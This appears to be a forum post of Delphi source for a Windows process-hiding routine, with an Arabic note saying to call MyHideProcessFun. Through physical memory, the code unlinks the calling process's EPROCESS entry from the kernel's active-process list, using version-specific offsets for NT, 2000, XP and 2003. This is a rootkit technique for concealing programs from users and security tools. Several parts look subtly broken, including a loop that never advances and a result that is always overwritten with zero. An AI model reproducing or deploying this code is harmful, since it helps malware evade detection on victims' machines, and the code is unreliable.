NumOfHandle := 0;
h_info  := nil;
	size := 1;
	repeat
		buf:= VirtualAlloc(nil, size, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE);
		if ( buf=nil )then
		begin
		   // fprintf( stderr, "calloc( %u, 1 ) failed\n", size );
			goto GetEprocessFromPid_exit;
		end;
		status := ZwQuerySystemInformation( SystemHandleInformation, buf, size, nil );
		if (  status <>0 )then
		begin
			if ( STATUS_INFO_LENGTH_MISMATCH = status )then
			begin
				VirtualFree(buf, 0, MEM_RELEASE);
				buf := nil;
			end
			else
			begin
				MessageBox(0,'ZwQuerySystemInformation() failed','Error',MB_OK);
				goto GetEprocessFromPid_exit;
			end;
		end
		else
			break;
	   size :=size* 2;
	until (status <> STATUS_INFO_LENGTH_MISMATCH); 

	h_info :=  PSYSTEM_HANDLE_INFORMATION_EX (ULONG(buf));
	NumOfHandle :=h_info.NumberOfHandles;

	for i := 0 to NumOfHandle do
	begin
		if((h_info^.Information.ProcessId = PID)and	
		(h_info^.Information.ObjectTypeNumber=5 ))then//&&( h_info.Handle==0x3d8 ) )
		begin
			result:=(DWORD(h_info^.Information.pObject));
			exit;
		end;
	end;
GetEprocessFromPid_exit:
	if ( buf <> nil )then
	begin
		freemem( buf );
		buf := nil;
	end;
	result:=0;
end;
(*
* ntdll.dll
*)
function  LocateNtdllEntry ():bool;
var
	 ret :bool;
	 NTDLL_DLL:pchar;
	 ntdllmod :HMODULE;
begin
  ret  := FALSE;
  NTDLL_DLL:= 'ntdll.dll';
  ntdllmod := NULL;
  ntdllmod := GetModuleHandle( NTDLL_DLL );
	if (  ntdllmod= 0 ) then
	begin
		MessageBox(0,'GetModuleHandle() failed','Error',MB_OK);
		result:=FALSE;
		exit;
	end;
	ZwQuerySystemInformation := GetProcAddress( ntdllmod, 'ZwQuerySystemInformation' );
	if ( @ZwQuerySystemInformation=nil )then
	begin
		//goto LocateNtdllEntry_exit;
		ret:=false
	end
	else 
	ret := TRUE;

//LocateNtdllEntry_exit:

	if ( FALSE = ret )then
	begin
		MessageBox(0,'GetProcAddress() failed','Error',MB_OK);
	end;
	ntdllmod := 0;
	result:=ret;
end;
function YHideProcess: Boolean;
var
thread, process: DWORD;
fw, bw: DWORD;
f,b:integer;
osvi:OSVERSIONINFO;
begin
// SetUnhandledExceptionFilter(exeception);
if (FALSE = InitNTDLL) then
begin
Result := FALSE;
Exit;
end;

if (0 = OpenPhysicalMemory) then
begin
Result := FALSE;
Exit;
end;


	osvi.dwOSVersionInfoSize:=sizeof(osvi);
	GetVersionEx(osvi);
	//f=0x88;b=0x8c;

	if(osvi.dwMajorVersion=5)then
	begin
		if(osvi.dwMinorVersion=0)then//win2k
		begin
			f:=$a0;b:=$a4;
		end
		else if(osvi.dwMinorVersion=1)then//winxp
		begin
			f:=$88;b:=$8c;
		end
		else if(osvi.dwMinorVersion=2)then//win2003
		begin
			f:=$8a;b:=$8e;
		end
		else
		begin
		  result:=FALSE;
		  exit;
		end;
	end
	else if((osvi.dwMajorVersion=4) and (osvi.dwMinorVersion=0) and
	  (osvi.dwPlatformId=2))then//NT
	begin
		f:=$98;b:=$9c;
	end
	else
	begin
	  result:=FALSE;
	  exit;
	end;
//thread := GetData(Pointer($FFDFF124)); //kteb
//process := GetData(Pointer(thread + $44)); //kpeb
LocateNtdllEntry( );
OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );
process:=ULONG(GetEprocessFromPid( DWORD(GetCurrentProcessId )));
fw:=GetData(pointer(process+f));
bw:=GetData(pointer(process+b));
SetData(pointer(fw+4),bw);
SetData(pointer(bw),fw);

UnmapViewOfFile(g_pMapPhysicalMemory);
CloseHandle(g_hMPM);
CloseNTDLL();
end;

function MyHideProcessFun: Boolean;
begin
if not b_hide then
begin
b_hide := YHideProcess;
end;

Result := b_hide;
end;

end.

للاستخدام يتم استدعاء MyHideProcessFun ..

cipher